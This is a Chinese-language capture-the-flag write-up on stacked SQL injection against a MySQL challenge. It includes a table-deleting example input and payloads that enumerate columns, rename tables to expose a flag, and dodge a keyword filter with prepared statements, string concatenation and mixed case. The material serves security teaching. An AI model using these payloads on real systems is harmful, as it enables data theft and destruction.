堆叠注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
sql注入判断:输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了
inject=2‘ order by 2# 查字段 发现只有2个
select 的时候有过滤
尝试堆叠注入,发现有两个表
4.查看字段,
-1‘;show columns from `1919810931114514` --+
-1‘;show columns from `words` --+
发现flag在1919810931114514里面
方法:
1.由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = ‘‘;
2.我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
修改表名(将表名user改为users)alter table user rename to users;
修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);
3.最终payload如下:
1‘; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下:
1‘;
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
4.然后使用1‘ or 1=1#即可查询出flag
方法二: Mysql的预编译,绕过select的过滤 具体做法: 编译 set @sql = concat(‘sele‘,‘ct * from `1919810931114514`;‘); prepare stm from @sql; 执行 execute stm;--+ 最终构造语句: set @sql = concat(‘sele‘,‘ct * from `1919810931114514`;‘);prepare stm from @sql;execute stm;--+ strstr对关键字set 和prepare进行了过滤,但他不区分大小写,我们可以绕过 1‘;sEt @sql = concat(‘sele‘,‘ct * from `1919810931114514`;‘);prEpare smt from @sql;execute smt;--+